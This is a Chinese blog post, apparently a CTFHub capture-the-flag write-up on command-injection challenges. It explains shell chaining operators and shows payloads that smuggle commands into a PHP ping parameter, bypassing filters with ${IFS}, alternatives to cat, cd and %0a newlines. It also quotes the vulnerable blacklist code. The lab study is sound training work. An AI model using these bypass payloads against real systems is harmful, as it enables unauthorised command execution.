ctfhub(rce智慧树)

最新推荐文章于 2023-09-07 21:50:33 发布

偶尔躲躲乌云334

最新推荐文章于 2023-09-07 21:50:33 发布

阅读量549

点赞数

文章标签： java servlet jvm

本文链接：https://blog.csdn.net/qq_62046696/article/details/125901533

版权

刚看完rce知识点做一下题，巩固一下、

eval执行

直接命令执行就行

命令注入

一般这种需要ping的都要用到管道符之类的，然后前面是数字后面ls就行

cat flag然后，查看源码获得flag

“;”：执行完前面的语句再执行后面的语句。
“|”：显示后面语句的执行结果。
“||”：当前面的语句执行出错时，执行后面的语句。
“&”：两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。
“&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

过滤cat

换成tac more less等等，文章中有具体的，和上题一样

过滤空格

空格换成，${IFS}绕过

1;tac${IFS}flag_14680194475907.php

过滤目录分隔符

我觉得就是过滤了 ls后面的 ../这个

继续查看目录，

发现 flag_is_here没有后缀，应该是一个文件需要查看里面，但是../过滤，不能看根目录，可以用cd目录

1;cd flag_is_here;cat flag_14398662425560.php

1;cd flag_is_here;cat flag_14398662425560.php获得flag

过滤运算符

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

%0a,%0d都可以绕过，这道题没过滤;所以直接分号就出来了‘

综合过滤练习

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

其实就是把前面过滤的合起来了

?ip=1%0als%0acd${IFS}fla*%0als